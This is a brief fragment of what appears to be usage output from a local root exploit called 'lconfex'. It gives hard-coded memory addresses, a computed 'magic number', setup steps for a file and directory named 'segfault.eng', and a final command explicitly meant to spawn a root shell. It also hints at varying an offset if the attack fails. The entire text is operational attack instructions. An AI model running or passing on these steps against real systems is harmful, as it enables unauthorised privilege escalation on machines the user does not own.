./lconfex -p
./lconfex -f
./handy.sh 0xbffff625 0xbffff5f1

GOT IT! Your magic number is : 792
Now create a dir 'segfault.eng' and touch a file named 'segfault.eng' in it.
Then exec "./lconfex -s 0xbffff625 -m 0xbffff5f1 -r 792" to get rootshell

*hint* : try play with -b if not succeed. [ n = 0..4 ]
ie : ./lconfex -s 0xbffff625 -m 0xbffff5f1 -r 792 -b 1

Good Luck d0inks!
